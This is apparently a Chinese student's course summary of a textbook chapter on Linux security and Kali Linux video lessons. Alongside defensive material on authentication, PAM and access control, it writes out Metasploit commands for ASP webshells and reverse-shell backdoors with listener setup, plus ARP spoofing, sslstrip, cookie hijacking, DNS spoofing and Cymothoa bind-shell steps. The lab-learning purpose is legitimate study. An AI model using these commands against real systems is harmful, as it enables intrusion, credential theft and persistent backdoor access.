教材和视频学习总结
一、教材内容学习总结
课本第八章主要围绕linux操作系统安全攻防技术进行讲述,教材中主要涉及的内容于知识如下:
- Linux操作系统之所以会成为目前最受关注的系统之一,主要原因是它的开放源代码与免费。
- Linux具有以下的优势
(1)跨平台的硬件支持(Linux操作系统的内核大部分是用C语言编写的,并采用了可移植的UNIX标准应用程序接口)
(2)丰富的软件支持
(3)多用户多任务(多个用户可以在同一时间以网络联机的方式使用计算机系统)
(4)可靠的安全性(利用Linux自带防火墙、入侵检测和安全认证等工具,及时修补系统的漏洞,就能大大提高Linux系统的安全性)
(5)良好的稳定性(Linux内核源代码是以标准规范的32位(在64位CPU上是64位)的计算机来做的最佳化设计,可确保其系统的稳定性)
(6)完善的网络功能。 - Linux系统结构
(1)Linux内核
(2)GUN运行库和工具
(3)命令行Shell
(4)图形界面X窗口系统及相应桌面环境
(5)办公包、编译器、文本编辑器、科学工具到网络服务的应用软件 - Linux的文件系统管理机制
Linux内核使用了虚拟文件管理VFS机制,通过设备驱动程序访问特定硬件设备,VFS虚拟文件管理为用户进程提供了一组通用的文件系统调用函数。Ext家族文件系统是Linux内核中缺省采用的文件系统格式,使用索引节点来记录文件信息,作用类似于Windows FAT32文件系统的分配表,包含了文件长度、创建及修改时间、权限、所属关系、磁盘中位置等信息。 - Linux的网络机制
Linux内核中的网络模块提供了对各种网络标准的存取和各种网络硬件的支持。网络接口可分为网络协议栈和网络驱动程序。网络设备驱动程序负责与硬件设备通信。 - Linux的系统调用机制
Linux内核通过上述五个方面的机制实现了操作系统基本的硬件管理与系统功能,这些内核模块都运行在CPU的核心态,而应用程序则运行于用户态。Linux提供了系统调用接口,来允许应用程序透过这层接口来访问硬件设备和其他系统资源。Linux的系统调用通过软件中断实现。 - Linux操作系统的核心安全机制
(1)身份认证
(2)授权与访问控制
(3)安全审计 - Linux身份认证机制
Linux是一个多用户多任务的操作系统,通过创建多种角色类型的用户及用户组来实施用户身份管理,来确保多个用户安全地使用Linux操作系统。 - Linux用户
(1)Root根用户
(2)普通用户
(3)系统用户 - Linux用户组
Linux用户组其实就是具有相同特征的用户账号集合,用于简化整个系统的用户权限管理。Linux用户组信息保存在系统的/etc/group文件中,包括用户组名称、用户组gid及用户组所包含的用户名列表,用户组加密口令字则保存在/etc/gshadow文件中。可以使用id-a命令来查询和显示当前用户所属组,并通过groupadd命令添加用户组,使用usermod-G group_name user name向特定组来添加用户。 - Linux的本地登陆用户认证机制
Linux系统最基本的用户认证机制即是对用户在控制台登录的认证过程,登录login进程通过Crypt()函数来对用户输入的口令进行验证。 - Linux的远程登录用户认证机制
目前Linux系统普遍使用SSH服务来进行远程用户登录与网络访问,SSH提供两种方式的用户身份认证机制:第一种方式为基于口令的身份认证;第二种方式为基于非对称密钥的身份认证。基于非对称密钥的身份认证机制能够有效地抵御会话劫持中间人攻击,较基于口令的认证机制更具安全性。 - Linux的统一身份认证中间件——PAM
为了能够给不同的应用软件、网络服务提供统一的身份认证机制,Linux系统中提供了PAM作为一种验证用户身份的灵活与标准方法。PAM通过提供一些动态链接库和一套统一的API,将系统提供的服务和该服务的认证方式分开。系统管理员通过PAM配置文件来制定身份认证策略。而PAM服务模块的开发者则利用PAM SPI来编写认证模块。PAM核心库则读取配置文件。PAM支持的四种管理界面如下:
(1)认证管理
(2)账户管理
(3)密码管理
(4)会话管理 - Linux授权与访问控制机制
Linux通过VFS虚拟文件系统来实现对不同类别文件系统格式的支持,并同时通过设备文件类型来统一集成对其他类型系统资源的管理。所有文件与设备资源的访问控制都通过VFS虚拟文件系统来实现。在Linux的虚拟文件系统安全模型中,主要通过文件所有者、文件访问权限和一些特殊权限位来进行系统的授权与访问控制。文件的所有者可以通过chown命令进行修改。文件的访问权限通过所附带的10个标志位来进行设置。每个用户的专属初始目录的默认权限为rwx------。特权常见的是SUID与SGID权限。 - Linux访问控制机制的不足及改进
只能将用户分为所有者、所有者所在组和其他用户这三种类别分配权限,而无法做到更细粒度的权限控制。POSIX ACLs for Linux内核补丁软件包能够帮助Linux内核实现ACL权限管理。 - Linux的安全审计机制主要通过三个主要的日志子系统来实现
(1)连接时间日志
(2)进程统计日志
(3)错误日志记录 - 针对Linux系统的攻击也遵循着系统攻击统一的逻辑流程
攻击者首先利用踩点、扫描和查点等技术手段来收集关于目标Linux系统的信息,然后攻击者从远程网络发掘某个监听网络服务中的安全漏洞或配置弱点,来获取本地Shell访问权,而一旦获得Shell访问权,攻击者就已经在目标Linux系统上获得了立足之地,而转入本地攻击的环节,通常会利用各类提权技术获取Linux系统最高的Root用户权限,之后就可以根据他们的入侵意图而为所欲为了。 - 远程网络上入侵Linux系统的主要方法
(1)对Linux系统各种网络服务的身份认证过程所涉及的用户口令字进行猜测攻击
(2)发掘Linux系统某个监听网络服务的安全漏洞并进行利用,从而为攻击者提供本地Shell的访问权
(3)通过网页木马、发送欺诈邮件、提供特洛伊木马程序等技术和社会工程学手段
(4)在Linux系统作为连接多个网络的路由器,或者打开“混杂模式”实施网络嗅探的监听器时,可能遭受攻击者特意构造的数据包攻击,从而被攻击者取得访问权 - 支持攻击者进行自动化的远程口令字猜测工具
工具:Brutus、THC Hydra、Cain and Abel。
确保每个用户都有自己的有效账户和口令字
对于特权账户应避免直接远程登录
口令长度应至少达到8个字符,并包含字母数字和标点符号
对多次认证失败进行记录,并在多次无效登陆之后断掉连接
不要再自己可登陆的每个系统上都使用相同的口令字
不要笔录自己的口令字,更不能将它告诉其他人
最好根本不用口令字,而使用基于公钥证书的身份认证机制 - 应对远程口令猜测攻击还拥有很多实践措施,包括
在非标准端口上运行容易遭受远程口令猜测攻击的服务
使用一些口令猜测攻击检测与防御软件
使用Linux防火墙IPTables来限制SSH等易受远程口令猜测攻击网络服务的访问源IP地址范
教材作业实践
Metasploit实验过程
Metasploit 拥有msfpayload 和msfencode 这两个工具,这两个工具不但可以生成exe 型后门,一可以生成网页脚本类型的webshell ,通过生成webshell 然后设置监听器,访问webshell的url,幸运的话可以产生一个session,以便进一步利用。
下面是具体的利用方法。
我们可以通过指令查看msf里的payload 然后记住其位置:使用如下的指令来产生一个webshell,和前边将的msfpayload的用法类似,只不过这里生成的是一个网页脚本文件:
产生webshell
msfpayload windows/meterpreter/reverse_tcp LHOST=your_ip | msfencode -t asp -o webshell.asp
然后将此webshell上传到服务器(这个步骤要有上传权限。)
然后启动msfconsole
输入
use exploit/multi/handler,
set PAYLOAD windows/meterpreter/reverse_tcp(这里的payload要和前边的msfpayload所使用的一样
set LHOST your_ip
exploit
然后访问webshell的url,这里使用curl 访问curl http://host/webshell.asp ,如果exploit执行成功的话就可以看到msfconsole中有返回meterpreter shell。
这里产生的是asp的webshell 也可以产生php webshell,jsp webshell 需要在msfencode时用-t 参数指定脚本类型,另外如果获取服务器拥有可以上传并且执行上传文件的权限的话,可以上传一个msfpayload产生的后门,设置监听,然后执行后门,返回一个session然后将session转为meterpreter,这样就可以方便的使用meter各种特性了。给个步骤:
1、
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.130.131 LPORT=4444 X >/root/cracer.exe
2、打开msfconsole (另外开一个terminate终端)
3、设置监听:
use exploit/multi/handler,set PAYLOAD windows/meterpreter/reverse_tcp,set LHOST=your_ip,set LPORT 4444,执行exploit
4、将test.exe 上传到服务器
5、在服务器上执行test.exe 就可以返回一个shell了。
6、将windows shell 转成 meterpreter shell:由于使用的payload是shell_reverse_tcp,看名字就知道了返回一个shell,可以在监听器看到返回了一个windows shell(windows 命令提示符),而不是一个meterpreter shell,这样就要转换了,方法是 按下Ctrl + z 使 windows shell 后台运行,然后sessions 指令查看 shell 的session是多少,然后执行 sessions -u number(number为你找到的windows shell session号。这样就产生了一个meterpreter shell,可以利用meterpreter强大的功能。也有可能出错,仔细看出错信息然后复制其一部分google一下。
二、视频学习总结
Kali漏洞利用之SET
Social Enginnering Toolkit(SET)是一个开源、Python驱动的社会工程学渗透测试工具,提供了非常丰富的攻击向量库。是开源的社会工程学套件,通常结合metasploit来使用。
- 输入:setoolkit,打开SET套件
菜单选项:
一是社会工程学攻击
二是Fast-Track渗透测试
三是第三方模块
- 输入1,按回车,有11个模块。
(1)鱼叉式钓鱼攻击
(2)网站攻击
(3)介质感染攻击
(4)创建Payload并监听
(5)群发邮件攻击
(6)基于Arduino的攻击
(7)短信欺骗攻击
(8)无线接入点攻击
(9)二维码攻击
(10)powershell攻击
(11)第三方模块
- 选择1:鱼叉式钓鱼攻击
- 相应的payload可以选择不同的漏洞
- 选择2:网站攻击框架。如果对方访问此页面,若系统存在漏洞触发条件,则会被植入后门。如Java Applet Attack 方法就需要目标有Java运行环境。为了仿真,可以选择自建模版或克隆一个网站。
- 可以复制一个网站,借助内网的嗅探欺骗把域名劫持过过来
- 选择3:介质感染攻击
- 选择4:创建Payload和监听器,与Metasploit给出的Payload类似
- 选择5:短信欺骗攻击,伪造短消息发送给别人,伪装短信来源
KaliSecurity - 嗅探欺骗与中间人攻击
Linux下的中间人攻击套路是一样的,这里介绍进行ARP欺骗、DNS欺骗和嗅探以及会话劫持的方法。
1、为Kali设置开启端口转发
echo 1 > /proc/sys/net/ipv4/ip_forward cat /proc/sys/net/ipv4/ip_forward 修改为1
2、设置ssltrip
为了劫持SSL数据,需要https数据变为http: iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8081 让sslrtip在8081端口监听: sslstrip -l 8081
将iptables这一行,注释(“#”号)去掉,打开转发。
3、ettercap的准备
ettercap是一套用于中间人攻击的工具。和dsniff套件齐名。支持插件和过滤脚本,直接将账号、密码显示出来,不用人工提取数据。如果是第一次中间人攻击操作,那么要对kali下的etteracp做点配置。 配置文件是/etc/ettercap/etter.conf,首先要将ec_uid、ec_gid都变为0
打开图形化界面 ettercap -G 选择嗅探网卡 默认eth0
4、Ettercap使用
打开ettercap,选择sniff选项-unified sniffing-选择网卡-hosts选项,先scan for hosts,等扫描完了选host list。
5、Dsniff套装介绍
Dsniff套装主要是arpspoof和dsniff,前者用来进行arp欺骗,后者用于嗅探。进行攻击步骤如下: 进行arp欺骗: arpspoof [-i interface(网卡)] [-c own|host|both(欺骗方式,通常是both)] [-t target(目标)] [-r] host(网关) 进行嗅探: dsniff [-cdmn] [-i interface | -p pcapfile] [-s snaplen] [-f services] [-t trigger[,...]] [-r|-w savefile] [expression] -c打开半双工TCP流,允许在使用arpspoof时进行正确的嗅探操作; -d启动调试模式; -f以/etc/service格式从文件中加载触发器(也就是口令嗅探的服务类型); -I使用特定的网络接口; -m使用dsniff.magic文件通过在magic文件中定义的特征尝试自动判断协议; -n不执行主机查找; -r从前面保存的会话中读取被嗅探的数据; -s最多对报文的前个字节进行嗅探,如果用户名和口令信息包含在随后的默认1024字节界限中; -t使用格式port/proto=servise;来加载一个以逗号界定的触发器集;
6、会话劫持
这里主要以cookies进行举例,说明会话劫持的用法。 开始arp欺骗; arpspoof -i wlan0 -t 192.168.1.1 192.168.1.102 捕获数据报: tcpdump -i wlan -w test.cap 等一段时间,估计目标会登录网站了,我们开始处理捕获的数据包: forret -r test.cap 如果捕获的数据包没什么问题,而且确定开启了端口转发,那么经过处理的数据包会自动生成hamster.txt 接下来运行hamster hamster 会提示浏览器设置代理为http://127.0.0.1:1234 接着在浏览器中代开hamster: http://hamster 选择目标和可能的登录认证地址,然后点击链接会发现劫持成功。
7、图片截获
利用Driftnet这款工具我们可以看到受害人在访问网站的图片。 首先依然使用arpspoof启动arp欺骗,然后启动driftnet: driftent -i 此时弹出一个小窗口,当目标访问有图片的网站的时候,攻击者就能在这个小窗口看到。
8、DNS欺骗
利用Dsniff套装中的dnsspoof或者ettercap的dnsspoof插件,我们可以完成对受害者的dns欺骗。 在开始欺骗前,首先我们要编辑一个自己的hosts文件,放在方便访问的地方。内容和本机自带的hosts内容差不多,只是把你想欺骗的域名和想要欺骗到哪里的地址写好(通常是攻击者指定的服务器,用来执行浏览器溢出或者java applet攻击,用来获取受害者的计算机访问权限) host文件: 127.0.0.1 www.baidu.com 上面是一个hosts文件示例,把百度定向到了本机。我们把它保存成hosts,位于/root目录下。 然后启动dnsspoof: dnsspoof -i wlan0 -f /root/hosts 等受害者访问百度观察效果。
9、URL监控
利用Dsniff套装中的urlsnarf工具,我们对TCP80、3128、8080端口的HTTP通信进行解析,并且可以将嗅探到的所有HTTP请求转存为通用日志格式(Common Log Format,CLF),这种格式是许多Web服务器所使用的,例如IIS和Apache,事后可以很方便的使用一些日志分析工具来分析记录结果。 Usage:urlsnarf [-n] [-i interface | -p pcapfile] [[-v] pattern [expression]] 10、下载软件监控 利用Dsniff套装中的filesnarf工具,我们可以从嗅探到的NFS通信中,选定某个文件,转存到本地当前工作目录。 Ussage:filesnarf [-i interface | -p pcapfile] [[-v] pattern [expression]]
KaliSecurity - 权限维持之后门
权限维持包含Tunnel工具集、Web后门、系统后门三个子类。其中系统后门与Web后门统称为后门,都是为渗透测试后,为方便再次进入系统而留下的恶意程序。
1、Weevely
是一款使用pythoon编写的webshell工具(集webshell生成和连接于一身,仅限于安全学习教学之用,禁止非法用途),可以算作是linux下的一款菜刀替代工具(限于php),某些模块在win上无法使用。
2、WeBaCoo(Web Backdoor Cookie)
script-kit是一个小巧的、隐蔽的php后门,它提供了一个可以连接远程web服务器并执行php代码的终端。WebaCoo使用HTTP响应头传送命令结果,shell命令经base64编码后隐藏在Cookie中。
webacoo连接: webacoo -t -u http://192.168.75.132/2.php 通过加入:执行本地命令,不加则借助webshell执行命令。
3、Cymothoa系统后门
cymothoa -run 10500 -s -0 -y 2333 (注入2333端口),如果成功,可以连接2333端口返回一个shell
4、Intersect
- 列出可以使用的模块
- 创建脚本
执行后门,在目标机上执行 1.py -b,则生成一个bind shell后门,如果之前设置好remote host和remote port,也可以设置为reverse shell 此时连接后门端口成功,返回shell
Kali权限维持之Tunnel
权限维持包括Tunnel工具集、web后门、系统后门三个子类。Tunnel工具集包含了一系列用于建立通信隧道、代理的工具:
- CryptCat Netcat大家都很熟悉了,有网络工具中的瑞士军刀之称,但是它本身建立的隧道是不加密的,于是有了cryptcat。与dbd/sbd使用也类似。
- DNS2TCP DNS tunnel即DNS通道。从名字上看就是利用DNS查询过程建立起隧道,传输数据。 在酒店等公共场所,通常有wifi信号,但当访问第一个网站时,可能会弹出窗口,需要输入用户名密码,登陆后才可以继续上网(该技术一般为透明http代理)。但有时会发现获取到的dns地址是有效的,并且可以进行dns查询,这时可以使用DNS tunnel技术来实现免费上网。 DNS tunnel原理 通过特定服务器,让局域网内的DNS服务器为我们实现数据转发。DNS tunnel实现的工具有很多,比如:OzymanDNS, tcp-over-dns, heyoks, iodine, dns2tcp
- Iodine
- Miredo Miredo是一个网络工具,主要用于BSD和Linux的IPV6 Teredo隧道转换,可以转换不支持IPV6的网络连接IPV6,内核中需要有IPV6和TUN隧道支持。
- Proxychains 内网渗透测试经常会用到一款工具,如我们使用Meterpreter开设一个Socks4a代理服务,通过修改/etc/prosychains.conf配置文件,加入代理,即可使其他工具如sqlmap、namp直接使用代理扫描内网。 如proxychain namp 10.0.0.1/24
- Proxytunnel Proxytunnel可以通过标准的Https代理来连接远程服务器,这是一个代理,实现了桥接的功能。特别用于通过SSH进行Http(s)传输 Prosytunnel可用于: 使用http(s)代理(http connect 命令)创建通讯通道 为OpwnSSH写一个客户端驱动,并创建基于SSH连接的http(s)代理 作为一个独立的应用,可以连接到远程服务器
- Ptunnel 借助ICMP数据包建立隧道通信
- Pwant 内网下通过UDP通信
- sslh 一个ssl/ssh端口复用工具,sslh可以在同一个端口上接受https,ssh和openvpn连接。这使得通过443端口连接ssh服务器或者openvpn服务器同时在该端口上提供https服务成为可能。sslh可以作为一个研究端口复用的例子。
Kali逆向工程工具
逆向工程是根据已有的东西和结果,通过分析来推导具体的实现方法。比如看到别人的某个exe程序能够做出某种漂亮的动画效果,可以通过反汇编、反编译和动态跟踪等方法,分析出其动画效果的实现过程,这种行为就是逆向工程;不仅仅是反编译,而且还要推倒出设计,并且文档化,逆向软件工程的目的是使软件得以维护。
1、Edb-Debugger EDB(Evan's Debugger)
是一个基于Qt4开发的二进制调试工具,主要是为了跟OllyDbg工具看齐,通过插件体系可以进行功能的扩充,当前只支持Linux。
2、Ollydbg
经典的Ring3级调试器,是一个动态调试工具,将IDA与SoftICE结合起来的思想。在Kali下是Wine方式运行的Ollydbg。
3、jad
4、Redare2
5、Recstudio2
6、Apktool
7、Clang、Clang++
8、D2j-des2jar
9、Flasm